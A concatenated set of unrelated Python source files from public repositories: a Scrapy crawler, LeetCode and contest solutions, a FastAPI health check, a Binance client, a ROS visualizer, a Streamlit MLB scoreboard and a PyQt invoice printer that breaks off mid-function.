**kwargs):\n if name is not None:\n self.name = name\n elif not getattr(self, 'name', None):\n raise ValueError(\"%s must have a name\" % type(self).__name__)\n self.__dict__.update(kwargs)\n if not hasattr(self, 'start_urls'):\n self.start_urls = []\n\n # redis连接\n self.server = redis.StrictRedis.from_url(REDIS_URL)\n serv = self.server\n\n # 开个线程,不断获取proxy\n if ENABLE_PROXY:\n self.get_proxy_threading = threading.Thread(target=get_proxy,args=(serv,))\n self.get_proxy_threading.setDaemon(True) #主线程执行完毕回收子线程\n self.get_proxy_threading.start()\n\n # pattern of re\n self.pattern = re.compile(r'href=\\\".*?\\\"', re.M)\n\n def parse(self, response):\n\n #应对不同网站的不同编码,将爬取内容转为unicode,再转为utf-8\n content_type = chardet.detect(response.body)\n if content_type.get('encoding','UTF-8') != 'UTF-8':\n body = response.body.decode(content_type['encoding']) #将某些编码内容转为unicode\n\n # DONE 抽取该页新的url并清洗\n urls = self.pattern.findall(body)\n urls = url_cleaning.all_url_cleaning(self.server,response,urls)\n\n # 构建基础item\n item = MyCrawlerItem()\n item['url'] = response.url\n item['id'] = response.meta.get(\"id\",None)\n\n # 获取任务task_information的json\n this_url_rule = None\n if response.meta.has_key('id'):\n with dist_lock(BOT_NAME, self.server):\n this_task_information = eval(self.server.hget('%s:task_information' % BOT_NAME, response.meta[\"id\"]))\n\n # DONE 新闻博客类抽取正文、关键词\n if this_task_information.get(\"type\",None) == 0:\n\n #DONE 网页正文、摘要的自动抽取\n result_body = PageModel(body).extract()\n result_body_temp = ''\n for x in result_body.get('content',None):\n if x.get('type',None) == 'text':\n result_body_temp += x.get('data',None)\n result_body_temp = result_body_temp.encode('utf-8')#unicode转utf-8\n result_summary_temp = result_body.get('title',None)\n\n # DONE 关键词提取,取4个关键词,返回list\n result_body_keywords = jieba.analyse.extract_tags(result_body_temp, topK=4)\n\n item['type'] = 0\n item['content'] = {'content':result_body_temp,'summary':result_summary_temp,'keywords':result_body_keywords}\n item['this_url_rule'] = ''\n\n\n # DONE 电商类抽取部分结构化好的商品信息\n elif this_task_information[\"type\"] == 1 and response.meta.get('this_url_rule','') != '':\n\n this_url_rule = response.meta.get(\"this_url_rule\",None)\n if this_task_information.has_key('rules'):\n rules = this_task_information[\"rules\"][this_url_rule]\n\n item['type'] = 1\n item['content'] = getitemcontent(response.body, rules)\n item['this_url_rule'] = response.meta.get('this_url_rule',None)\n\n #未识别类型\n else:\n item['type'] = -1\n item['content'] = ''\n\n if item['type'] != -1:\n yield item\n\n\n #DONE 将符合条件的链接加到待爬取队列中去,传递meta\n for url in urls:\n if this_task_information.get(\"type\",None) == 1:\n this_url_priority = this_task_information.get(\"priority\",None)\n this_url_rule = ''\n\n # 识别特殊页面,设置优先级+1和this_url_rule\n if this_task_information.get(\"rules\",None):\n for rule in this_task_information[\"rules\"].keys():\n if re.compile(rule).match(url):\n this_url_rule = rule\n this_url_priority += 1\n\n # meta中共两项:id、this_url_rule\n clean_meta = {}\n clean_meta[\"id\"] = response.meta[\"id\"]\n clean_meta[\"this_url_rule\"] = this_url_rule\n yield Request(url, priority=this_url_priority, meta=clean_meta)\n else:\n # meta中共一项:id\n yield Request(url, priority=this_task_information.get(\"priority\",None), meta=response.meta)","repo_name":"glqglq/Crawler","sub_path":"mycrawler/spiders/test_spider.py","file_name":"test_spider.py","file_ext":"py","file_size_in_byte":5004,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"73082258990","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def isSymmetric(self, root: Optional[TreeNode]) -> bool:\n queue = deque([root, root])\n \n while queue:\n t1, t2 = queue.popleft(), queue.popleft()\n \n if not t1 and not t2:\n continue\n \n if not t1 or not t2:\n return False\n \n if t1.val != t2.val:\n return False\n queue.append(t1.left)\n queue.append(t2.right)\n queue.append(t1.right)\n queue.append(t2.left)\n \n return True","repo_name":"AndanteKim/LeetCode_Practice","sub_path":"0101-symmetric-tree/0101-symmetric-tree.py","file_name":"0101-symmetric-tree.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"} +{"seq_id":"17535476056","text":"from fastapi import APIRouter, Depends, Request\n\nfrom app.infra.log import AppLog\n\nrouter = APIRouter()\n\n\n@router.get(\n \"/health-check\",\n description=\"Router to check health application\",\n dependencies=[Depends(AppLog())],\n)\nasync def healthcheck(_request: Request):\n return {\"msg\": \"Application running\"}\n","repo_name":"dalva-reconfeccoes/backend","sub_path":"app/application/routes/healthcheck_router.py","file_name":"healthcheck_router.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"34102828222","text":"from relevanceai.dataset import Dataset\n\nfrom sklearn.cluster import KMeans\n\n\nclass TestOperation:\n def test_subcluster(self, test_dataset: Dataset):\n model = KMeans(n_clusters=4)\n\n vector_field = \"sample_1_vector_\"\n alias = \"cluster_test_1\"\n test_dataset.cluster(\n model=model,\n vector_fields=[vector_field],\n alias=alias,\n include_cluster_report=False,\n )\n assert f\"_cluster_.{vector_field}.{alias}\" in test_dataset.schema\n\n parent_field = f\"_cluster_.{vector_field}.{alias}\"\n vector_field = \"sample_2_vector_\"\n alias = \"subcluster_test_1\"\n test_dataset.subcluster(\n model=model,\n alias=alias,\n vector_fields=[vector_field],\n parent_field=parent_field,\n filters=[\n {\n \"field\": vector_field,\n \"filter_type\": \"exists\",\n \"condition\": \"==\",\n \"condition_value\": \"\",\n }\n ],\n min_parent_cluster_size=4,\n )\n assert f\"_cluster_.{vector_field}.{alias}\" in test_dataset.schema\n","repo_name":"RelevanceAI/RelevanceAI-slim","sub_path":"tests/unit/test_operations/test_operation.py","file_name":"test_operation.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"38"} +{"seq_id":"23740205846","text":"from collections import Counter\nres = list()\nfor _ in range(int(input())):\n _ = input()\n h_arr = Counter(sorted([int(x) for x in input().split()]))\n maxi = max(h_arr.values())\n mini = min(h_arr.values())\n if (maxi - mini) > 0:\n res.append(maxi - mini)\n else:\n res.append(-1)\n\n[print(r) for r in res]","repo_name":"PaulSayantan/problem-solving","sub_path":"HACKEREARTH/CodeMonk/Sorting/MonkBeingMonitor.py","file_name":"MonkBeingMonitor.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"20409603868","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Feb 15 10:41:14 2021\n\n@author: Arwin\n\"\"\"\nfrom mpl_toolkits.mplot3d import Axes3D\nimport matplotlib.pyplot as plt\nimport numpy as np\n\ndef show_plane(plane, grid_distance,title=\"\",plottype=''):\n \"\"\"\n Plot the 2D plane\n\n Parameters\n ----------\n plane : 2D numpy array\n 2D array with values to be plotted.\n grid_distance : float\n Distance in meters between every point in the plane.\n\n Returns\n -------\n Plot of plane\n\n \"\"\"\n \n # Create a new figure and show the plane\n # Plane is transposed so the x and y values are correct\n plt.figure()\n plt.imshow(plane.T, interpolation='none', extent=[0,plane.shape[0]*grid_distance,0,plane.shape[1]*grid_distance], aspect=1)\n plt.xlabel(\"X [m]\")\n plt.ylabel(\"Y [m]\")\n plt.title(title)\n plt.grid(b=True)\n cbar = plt.colorbar()\n if plottype == 'fieldnorm':\n plt.clim(0,500)\n cbar.set_label('E-field magnitude [V/m]', rotation=270, labelpad=10)\n elif plottype == 'field':\n cbar.set_label('E-field magnitude [V/m]', rotation=270, labelpad=10)\n elif plottype == 'epsilon':\n cbar.set_label('Relative permittivity $\\epsilon_r$', rotation=270, labelpad=12)\n \ndef show_plane_ff(E_ff, loc_ff, ff_angle, ff_distance, title=\"\"):\n \"\"\"\n Plot the 2D plane\n\n Parameters\n ----------\n E_ff : 2D numpy array\n 2D array with farfield values to be plotted\n loc_ff : float\n locations where farfield is calculated\n ff_angle: Angles from cylinder at which farfield is calculated\n ff_distance: distance farfield from cylinder\n \n -------\n None.\n\n \"\"\"\n \n # Create a new figure and show the graph with farfield samples\n \n # fig = plt.figure()\n # x = loc_ff[:,0]\n # y = loc_ff[:,1]\n # plt.scatter(x,y, cmap = 'b')\n # plt.xlabel(\"X [m]\")\n # plt.ylabel(\"Y [m]\")\n # plt.gca().set_aspect(\"equal\")\n # plt.title(title)\n # plt.show()\n plt.figure()\n plt.plot(ff_angle,E_ff)\n plt.scatter(ff_angle,E_ff,color='c')\n plt.xlabel(\"Angle [rad]\")\n plt.ylabel(\"Normalized E-field magnitude\")\n plt.title(\"Normalized farfield values at %i m from cylinder\" %ff_distance)\n plt.grid(b=True)","repo_name":"ArwinV/DomainIntegralEquationAssignment","sub_path":"helpers/visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":2260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"42260299013","text":"from typing import *\nimport logging\n\nimport requests\n\n\nlogger = logging.getLogger()\n\n\nclass BinanceClient:\n def __init__(self, futures=False):\n\n self.futures = futures\n\n if self.futures:\n self._base_url = \"https://fapi.binance.com\"\n else:\n self._base_url = \"https://api.binance.com\"\n\n def _make_request(self, endpoint: str, query_parameters: Dict):\n\n try:\n response = requests.get(self._base_url + endpoint, params=query_parameters)\n except Exception as e:\n logger.error(\"Connection error while making request to %s: %s\", endpoint, e)\n return None\n\n if response.status_code == 200:\n return response.json()\n else:\n logger.error(\"Error while making request to %s: %s (status code = %s)\",\n endpoint, response.json(), response.status_code)\n return None\n","repo_name":"Meta-Jay/Backtesting","sub_path":"Source Code/Section 3/9. Create the Binance Client Class/exchanges/binance.py","file_name":"binance.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"13234351757","text":"import sys\n\ninput = open(sys.argv[1], 'r')\noutput = open(sys.argv[2], 'w')\ntotal_cases = int(input.readline())\ncase = 1\n\nfor line in input:\n\tline = line.rstrip('\\n')\n\tnumber = list(line)\n\n\ti = next((i for i in range(len(number) - 1) if number[i + 1] < number[i]), None)\n\tif i != None: \n\t\tj = next((j for j in range(i, -1, -1) if j == 0 or number[j] != number[j - 1]), i)\n\t\tnumber[j + 1:] = ['9' for k in range(j + 1, len(number))]\n\t\tnumber[j] = str(int(number[j]) - 1)\n\n\toutput.write(\"Caso %s: N=%s, O=%s\\n\" % (case, line, \"\".join(number).strip('0')))\n\tcase += 1\n\t\ninput.close()\noutput.close()\n","repo_name":"tanoshii/programming-challenge","sub_path":"challenge.py","file_name":"challenge.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"36603734822","text":"import math\nglobal s\ns ='абвгдеёжзиклмнопрстуфхцчшщыъьэюя0123456789.,:;!?abcfvyuiopqwerzm'\nkol = len(s)\nl = math.ceil(math.log(kol)/math.log(2))\ndef repl(file1, file2):\n\tstr1 = file1.read()\n\tstr1 = str1.lower()\n\tstr2 = file2.read()\n\tstr2 = str2.lower()\n\tfor i in str1:\n\t\tif s.find(i) == -1:\n\t\t str1 = str1.replace(i,'')\n\tfor i in str2:\n\t\tif s.find(i) == -1:\n\t\t str2 = str2.replace(i,'')\n\treturn str1, str2\n\ndef to_value_(a):\n return s[int(a,2)]\ndef to_str_(a, s):\n kol = len(s)\n l = math.ceil(math.log(kol)/math.log(2))\n pos = bin(s.find(a))\n pos = pos[2:]\n res = ''\n for i in range(l):\n if pos!='':\n res += pos[0]\n pos = pos[1:]\n else:\n res = '0' + res\n return res\ndef xor(a,b):\n return (a+b)%2\n \n\ndef xor_str(a,b):\n res = ''\n for i in range(len(a)):\n res += str (xor(int(a[i]),int(b[i])))\n return res\ndef str_to_bin(str1, s):\n res = ''\n for i in str1:\n res += to_str_(i, s)\n return res\ndef kod(file1, file2, file_out):\n\tstr1, str2 = repl(file1, file2)\n\tbin_kl = (str_to_bin(str1, s))\n\tprint(bin_kl)\n\tbin_mes = (str_to_bin(str2, s))\n\tprint(bin_mes)\n\tif len(bin_kl) 10 or ny+sz > 10 or numPaper[sz] == 0:\r\n continue\r\n #해당 sz 색종이 붙이고 dfs로 탐색\r\n if isAttAble(nx,ny,sz):\r\n numPaper[sz] -= 1\r\n attach(nx,ny,sz,0)\r\n\r\n dfs(nx, cnt+1)\r\n\r\n # 모든 sz를 완전탐색해야하므로 백트래킹\r\n numPaper[sz] += 1\r\n attach(nx, ny, sz, 1)\r\n\r\ndfs(0,0)\r\nif answer == float('inf'):\r\n print(-1)\r\nelse:\r\n print(answer)","repo_name":"LeeChanSeok/SSAFY_G5_Algorithm","sub_path":"Seonguk/백준/17136. 색종이 붙이기/17136.py","file_name":"17136.py","file_ext":"py","file_size_in_byte":1685,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"31305916479","text":"import rospy\n\nimport std_msgs.msg as std_msg\n\nimport estimator_belief\nimport estimator_state_space\n\nimport matplotlib.pyplot as plt\nfrom threading import Lock\n\nclass BeliefVisualizer(object):\n def __init__(self, state_space, plot_prior=False):\n self.state_space = state_space\n self.Belief_class = estimator_belief.belief_factory(state_space)\n self.current_belief = self.Belief_class()\n\n self.fig = plt.figure()\n\n n_subplots = 3 if plot_prior else 2\n self.ax = self.fig.add_subplot(n_subplots,1,1)\n self.ax_logx = self.fig.add_subplot(n_subplots,1,2)\n\n if plot_prior:\n self.ax_prior = self.fig.add_subplot(n_subplots,1,3)\n\n self.ax.axhline(0.0)\n self.ax.axvline(self.state_space.object_half_width)\n self.ax.axvline(-self.state_space.object_half_width)\n self.ax.set_ylabel(r\"$p$\")\n\n self.ax_logx.set_ylabel(r\"$\\log p$\")\n\n self.fig.show()\n\n self.plot_lock = Lock()\n # should be the final step, so that all variables are initialized.\n self.belief_subscriber = rospy.Subscriber(\"/estimator_belief\", std_msg.String, self.belief_cb, queue_size=1)\n\n if plot_prior:\n self.prior_belief_subscriber = rospy.Subscriber(\"/estimator_prior_belief\", std_msg.String, self.prior_belief_cb, queue_size=1)\n\n\n def belief_cb(self, msg):\n self.plot_lock.acquire()\n\n self.current_belief.from_json_string(msg.data)\n self.ax.clear()\n self.ax_logx.clear()\n self.current_belief.plot(self.ax)\n self.current_belief.plot(self.ax_logx, logprob=True)\n self.ax.set_title(\"Time: %04.2f\"%(rospy.get_time()))\n self.fig.canvas.draw()\n\n self.plot_lock.release()\n\n def prior_belief_cb(self, msg):\n self.plot_lock.acquire()\n\n b = self.Belief_class()\n b.from_json_string(msg.data)\n self.ax_prior.clear()\n b.plot(self.ax_prior)\n self.ax_prior.set_title(\"Prior. Time: %04.2f\"%(rospy.get_time()))\n self.fig.canvas.draw()\n\n self.plot_lock.release()\n\nrospy.init_node (\"estimator_belief_visualizer\")\nbv = BeliefVisualizer(estimator_state_space.StateSpace(), plot_prior=False)\n\n#bv.fig.canvas.start_event_loop(timeout=-1)\n#rospy.spin()\n","repo_name":"goretkin/tactile-pomdp","sub_path":"estimator_belief_visualizer_node.py","file_name":"estimator_belief_visualizer_node.py","file_ext":"py","file_size_in_byte":2262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"9234229590","text":"from PIL import Image, ImageDraw, ImageFont\nimport numpy as np\n\ndef foam(image_path,GRID_BOX_SIZE=10, THRESHOLD = 30):\n im = Image.open(image_path) # Can be many different formats.\n width,height = im.size # Get the width and hight of the image for iterating over\n pix = im.load()\n\n grid_avg = 0\n mat_avg = []\n change = []\n current_avg = 0-THRESHOLD\n for i in range(height):\n pixel = pix[width/2,i]\n grid_avg += sum(pixel)\n if i%GRID_BOX_SIZE == 0:\n grid_avg = round(grid_avg/(GRID_BOX_SIZE*3))\n mat_avg.append(grid_avg)\n if abs(current_avg-grid_avg) > THRESHOLD:\n print(grid_avg)\n change.append(i) \n current_avg = grid_avg\n grid_avg = 0\n \n print(change)\n\n draw = ImageDraw.Draw(im)\n\n height_foam = '2'\n draw.text([0,0], text=height_foam, fill=(0,0,0))\n draw.line([width/2,0,width/2,height],fill=(0,0,0))\n for x in change:\n draw.line([0,x,width,x],fill=(0,0,0),width=10)\n\n path, _ = image_path.split(\".\")\n new_name = path + 'proc_foam.jpg'\n im.save(new_name)\n return height_foam\n","repo_name":"joen0001/TRC3000","sub_path":"backup/foam.py","file_name":"foam.py","file_ext":"py","file_size_in_byte":1158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"28338106561","text":"import streamlit as st\nimport numpy as npname\nimport pandas as pd\nimport statsapi\nfrom datetime import datetime, timedelta\n\n\nfrom scores import hanguel\n\nto = datetime.today()\nyesterday = to - timedelta(days=1)\nyesterday = yesterday.strftime(\"%m/%d/%Y\")\n\ntoday = datetime.today().strftime(\"%m/%d/%Y\")\nscores = statsapi.schedule(start_date=yesterday)\n\ndef team_img(team):\n if team == \"Atlanta Braves\":\n image = \"\"\n if team == 'Miami Marlins':\n image = \"\"\n if team == 'New York Mets':\n image = \"\"\n if team == \"Philadelphia Phillies\":\n image = \"\"\n if team == 'Washington Nationals':\n image = \"\"\n if team == 'Chicago Cubs':\n image = \"\"\n if team == \"Cincinnati Reds\":\n image = \"\"\n if team == \"Milwaukee Brewers\":\n image = \"\"\n if team == \"Pittsburgh Pirates\":\n image = \"\"\n if team == \"St. Louis Cardinals\":\n image = \"\"\n if team == \"Arizona Diamondbacks\":\n image = \"\"\n if team == \"Colorado Rockies\":\n image = \"\"\n if team == \"Los Angeles Dodgers\":\n image = \"\"\n if team == \"San Diego Padres\":\n image = \"\"\n if team == \"San Francisco Giants\":\n image = \"\"\n if team == \"Baltimore Orioles\":\n image = \"\"\n if team == \"Boston Red Sox\":\n image = \"\"\n if team == \"New York Yankees\":\n image = \"\"\n if team == \"Tampa Bay Rays\":\n image = \"\"\n if team == \"Toronto Blue Jays\":\n image = \"\"\n if team == \"Chicago White Sox\":\n image = \"\"\n if team == \"Cleveland Guardians\":\n image = \"\"\n if team == \"Detroit Tigers\":\n image = \"\"\n if team == \"Kansas City Royals\":\n image = \"\"\n if team == \"Minnesota Twins\":\n image = \"\"\n if team == \"Houston Astros\":\n image = \"\"\n if team == \"Los Angeles Angels\":\n image = \"\"\n if team == \"Oakland Athletics\":\n image = \"\"\n if team == \"Seattle Mariners\":\n image = \"\"\n if team == \"Texas Rangers\":\n image = \"\"\n return image\n\ndef game(type_game):\n if type_game == \"W\":\n game_type = \"월드시리즈\"\n if type_game == \"L\":\n game_type = \"리그챔피언십\"\n if type_game == \"D\":\n game_type = \"디비전시리즈\"\n if type_game == \"F\":\n game_type = \"와일드카드시리즈\"\n if type_game == \"R\":\n game_type = \"정규시즌\"\n if type_game == \"S\":\n game_type = \"프리시즌\"\n return game_type\n\ndef today_score(index):\n try:\n away_team = scores[index][\"away_name\"]\n away_team2 = hanguel(scores[index][\"away_name\"])\n away_score = scores[index][\"away_score\"]\n away_pitcher = scores[index][\"away_probable_pitcher\"]\n home_team = scores[index][\"home_name\"]\n home_team2 = hanguel(scores[index][\"home_name\"])\n home_score = scores[index][\"home_score\"]\n home_pitcher = scores[index][\"home_probable_pitcher\"]\n inning = str(scores[index][\"current_inning\"]) +\"회\"\n if inning == \"회\":\n inning = \"\"\n game_type = scores[index][\"game_type\"]\n game_type = game(game_type)\n status = scores[index][\"status\"]\n if status == \"Final\":\n status1 = \"종료\"\n elif status == \"Scheduled\":\n status1 = \"예정\"\n else:\n status1 = \"진행중\"\n\n html = f\"\"\"\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
    {game_type}
    {team_img(away_team)}{away_team2}{away_score}{status1}
    {inning}
    {team_img(home_team)}{home_team2}{home_score}

    \n \"\"\"\n return st.markdown(html, unsafe_allow_html=True)\n except:\n pass\n\ndef run_home():\n\n st.title(\"오늘의 경기결과\")\n col0, col1 = st.columns(2)\n with col0:\n today_score(0)\n today_score(2)\n today_score(4)\n today_score(6)\n today_score(8)\n today_score(10)\n today_score(12)\n today_score(14)\n\n with col1:\n today_score(1)\n today_score(3)\n today_score(5)\n today_score(7)\n today_score(9)\n today_score(11)\n today_score(13)\n \n\n \n\n\n ","repo_name":"SeungKyu37/mlb_stats","sub_path":"home.py","file_name":"home.py","file_ext":"py","file_size_in_byte":7313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"27943214562","text":"import PyQt6.QtWidgets as QtWidgets\nimport PyQt6.QtPrintSupport as QtPrintSupport\nimport PyQt6.QtCore as QtCore\nimport PyQt6.QtGui as QtGui\nimport main_window\nimport constants\n\nWORD_WRAP_CENTER = QtGui.QTextOption(QtCore.Qt.AlignmentFlag.AlignCenter)\nWORD_WRAP_CENTER.setWrapMode(QtGui.QTextOption.WrapMode.WordWrap)\n\nWORD_WRAP_LEFT = QtGui.QTextOption(QtCore.Qt.AlignmentFlag.AlignLeft)\nWORD_WRAP_LEFT.setWrapMode(QtGui.QTextOption.WrapMode.WordWrap)\n\nWORD_WRAP_RIGHT = QtGui.QTextOption(QtCore.Qt.AlignmentFlag.AlignRight)\nWORD_WRAP_RIGHT.setWrapMode(QtGui.QTextOption.WrapMode.WordWrap)\n\nWORD_WRAP = QtGui.QTextOption()\nWORD_WRAP.setWrapMode(QtGui.QTextOption.WrapMode.WordWrap)\n\nVERTICAL_SPACER = 10\nHORIZONTAL_SPACER = 10\n\nTABLE_VERTICAL_MARGIN = 3\nTABLE_HORIZONTAL_MARGIN = 2\n\n\nclass OrderPrinter:\n class TablePrint:\n def __init__(\n self,\n painter: QtGui.QPainter,\n data: list[list[str]],\n rect: QtCore.QRectF,\n stretch: bool = True,\n title: str = None,\n ) -> None:\n super().__init__()\n self.painter = painter\n self.rows = data\n self.cols = list(zip(*data))\n self.rect = rect\n self.stretch = stretch\n self.title = title\n self.fairDistribute()\n\n def fairDistribute(self):\n even_col_size = QtCore.QSizeF(\n self.rect.width() / len(self.cols) - 2 * TABLE_HORIZONTAL_MARGIN,\n self.rect.height(),\n )\n\n self.cols_size = [\n max(\n [\n self.painter.boundingRect(\n QtCore.QRectF(QtCore.QPointF(), even_col_size),\n text,\n WORD_WRAP,\n )\n .size()\n .width()\n for text in col\n ]\n )\n for col in self.cols\n ]\n aditional_space = (self.rect.width() - sum(self.cols_size)) / len(\n self.cols_size\n )\n if self.stretch:\n self.cols_size = [col + aditional_space for col in self.cols_size]\n\n self.rows_size = [\n max(\n [\n self.painter.boundingRect(\n QtCore.QRectF(\n QtCore.QPointF(),\n QtCore.QSizeF(col_size, self.rect.height()),\n ),\n text,\n WORD_WRAP,\n )\n .size()\n .height()\n + 2 * TABLE_VERTICAL_MARGIN\n for text, col_size in zip(row, self.cols_size)\n ]\n )\n for row in self.rows\n ]\n\n if self.title:\n self.rect.setHeight(\n sum(self.rows_size)\n + self.painter.boundingRect(\n self.rect, self.title, WORD_WRAP_LEFT\n ).height()\n )\n else:\n self.rect.setHeight(sum(self.rows_size))\n\n def paintCell(self, rect, text):\n rect = QtCore.QRectF(rect)\n self.painter.drawRect(rect)\n rect.setLeft(rect.left() + TABLE_HORIZONTAL_MARGIN)\n rect.setRight(rect.right() - TABLE_HORIZONTAL_MARGIN)\n rect.setTop(rect.top() + TABLE_VERTICAL_MARGIN)\n rect.setBottom(rect.bottom() - TABLE_VERTICAL_MARGIN)\n self.painter.drawText(rect, text, WORD_WRAP_CENTER)\n\n def paint(self):\n rect = QtCore.QRectF(self.rect)\n if self.title:\n title_rect = self.painter.boundingRect(\n self.rect, self.title, WORD_WRAP_LEFT\n )\n self.painter.drawText(title_rect, self.title, WORD_WRAP_LEFT)\n rect.setTop(rect.top() + title_rect.height())\n\n for row, row_size in zip(self.rows, self.rows_size):\n rect.setHeight(row_size)\n rect.setLeft(self.rect.left())\n for cell_text, col_size in zip(row, self.cols_size):\n rect.setWidth(col_size)\n self.paintCell(rect, cell_text)\n rect.moveLeft(rect.left() + col_size)\n rect.moveTop(rect.top() + row_size)\n\n def __init__(self) -> None:\n super().__init__()\n pass\n\n def print_order(self, window: main_window.MainWindow):\n printer = QtPrintSupport.QPrinter()\n painter = QtGui.QPainter()\n\n # printer.setOutputFileName(\"prueba.pdf\")\n # printer.setOutputFormat(QtPrintSupport.QPrinter.OutputFormat.PdfFormat)\n\n # printer.setPageMargins(0.0, 0.0, 0.0, 0.0, QtGui.QPageLayout.Unit.Point)\n # printer.setFullPage(True)\n # margin = printer.(QPageLayout.Unit.Point)\n\n printer.setPageSize(QtGui.QPageSize(QtGui.QPageSize.PageSizeId.A4))\n printer.setPageOrientation(QtGui.QPageLayout.Orientation.Portrait)\n printer.setCopyCount(2)\n printer.setPageMargins(\n QtCore.QMarginsF(4.0, 4.0, 4.0, 4.0), QtGui.QPageLayout.Unit.Point\n )\n\n painter.begin(printer)\n painter.setPen(QtGui.QPen(QtGui.QColor().black(), 1.1))\n font = painter.font()\n font.setPointSize(9)\n painter.setFont(font)\n\n # painter.setBrush(QtGui.QColorConstants.White)\n\n layout = printer.pageLayout().paintRectPixels(printer.resolution()).toRectF()\n layout.setHeight(layout.height() / 2)\n self.paint_order(painter, window, layout)\n painter.end()\n\n def paint_order(\n self,\n painter: QtGui.QPainter,\n window: main_window.MainWindow,\n layout: QtCore.QRectF,\n ):\n def print_header():\n nonlocal layout\n\n contact = \"www.palenicasmizany.sk\\ntel.č: 0905530298\"\n address = \"Pestovateľská pálenica, Hviezdoslavova 959, 053 11 Smižany\\nJozef Szabó, Tatranská 20 053 11 Smižany\"\n id_number = \"IČO: 37179845\\nIČ DPH: SK1026735831\"\n title = f\"VYSKLADŇOVACÍ LIST / DAŇOVÝ DOKLAD č.: {window.le_mark.text()}/{window.production_date.strftime(r'%Y')}/{window.cb_production_line.currentText()}\"\n\n rect = QtCore.QRectF(layout)\n header_height = max(\n painter.boundingRect(rect, contact, WORD_WRAP_LEFT).height(),\n painter.boundingRect(rect, address, WORD_WRAP_CENTER).height(),\n painter.boundingRect(rect, id_number, WORD_WRAP_RIGHT).height(),\n )\n\n rect.setHeight(header_height)\n\n painter.drawText(rect, contact, WORD_WRAP_LEFT)\n painter.drawText(rect, address, WORD_WRAP_CENTER)\n painter.drawText(rect, id_number, WORD_WRAP_RIGHT)\n\n rect.setTop(rect.bottom() + VERTICAL_SPACER)\n rect.setBottom(layout.bottom())\n save_font = QtGui.QFont(painter.font())\n\n title_font = QtGui.QFont(save_font)\n title_font.setBold(True)\n title_font.setPointSize(save_font.pointSize() + 3)\n painter.setFont(title_font)\n\n title_height = painter.boundingRect(rect, title, WORD_WRAP_CENTER).height()\n rect.setHeight(title_height)\n painter.drawText(rect, title, WORD_WRAP_CENTER)\n\n painter.setFont(save_font)\n\n rect.setTop(layout.top())\n layout.setTop(rect.bottom())\n return rect\n\n def number_by_word(num: int) -> str:\n known_numbers = {\n 0: \"nula\",\n 1: \"jeden\",\n 2: \"dva\",\n 3: \"tri\",\n 4: \"štyri\",\n 5: \"päť\",\n 6: \"šesť\",\n 7: \"sedem\",\n 8: \"osem\",\n 9: \"deväť\",\n 10: \"desať\",\n 11: \"jedenásť\",\n 12: \"dvanásť\",\n 13: \"trinásť\",\n 14: \"štrnásť\",\n 15: \"pätnásť\",\n 16: \"šestnásť\",\n 17: \"sedemnásť\",\n 18: \"osemnásť\",\n 19: \"devätnásť\",\n 20: \"dvadsať\",\n 30: \"tridsať\",\n 40: \"štyridsať\",\n 50: \"päťdesiat\",\n 60: \"šesťdesiat\",\n 70: \"sedemdesiat\",\n 80: \"osemdesiat\",\n 90: \"deväťdesiat\",\n 100: \"sto\",\n 200: \"dvesto\",\n 300: \"tristo\",\n 400: \"štyristo\",\n 500: \"päťsto\",\n 600: \"šesťsto\",\n 700: \"sedemsto\",\n 800: \"osemsto\",\n 900: \"deväťsto\",\n 1000: \"tisíc\",\n }\n\n if num in known_numbers:\n return known_numbers[num]\n\n if num < 100:\n return f\"{known_numbers[num // 10 * 10]}{known_numbers[num % 10]}\"\n elif num < 1000:\n return f\"{known_numbers[num // 100 * 100]} {number_by_word(num % 100) if num % 100 else ''}\"\n elif num < 1000000:\n return f\"{number_by_word(num // 1000) if num // 1000 != 1 else ''}{known_numbers[1000]} {number_by_word(num % 1000) if num % 1000 else ''}\"\n\n return \"veľa\"\n\n def print_footer():\n nonlocal layout\n\n price_sum = window.cost_sum\n\n confirmation = \"Svojím podpisom potvrdzujem prevzatie a zaplatenie nezávadného destilátu.\"\n sign_customer = \"_____________________________\\nPodpis pestovateľa\"\n sign_employee = \"_____________________________\\nPodpis prevádzkovateľa\"\n cost_words = f\"Spolu zaplatené slovom: {number_by_word(int(price_sum))} eur a {int(price_sum*100%100)} centov\"\n production_date = f\"Dátum výroby destilátu: {window.production_date.strftime(constants.DATE_FORMAT)}\"\n pickup_date = \"Dátum prevzatia destilátu: ______________________\"\n\n dates = f\"{cost_words}\\n\\n{production_date}\\n\\n{pickup_date}\"\n\n rect = QtCore.QRectF(layout)\n height = painter.boundingRect(rect, confirmation, WORD_WRAP_CENTER).height()\n rect.setTop(rect.bottom() - height)\n painter.drawText(rect, confirmation, WORD_WRAP_CENTER)\n\n rect_employee = QtCore.QRectF(layout)\n rect_employee.setLeft(rect.left() + rect.width() * 3 / 4)\n rect_customer = QtCore.QRectF(layout)\n rect_customer.setLeft(rect.left() + rect.width() * 2 / 4)\n 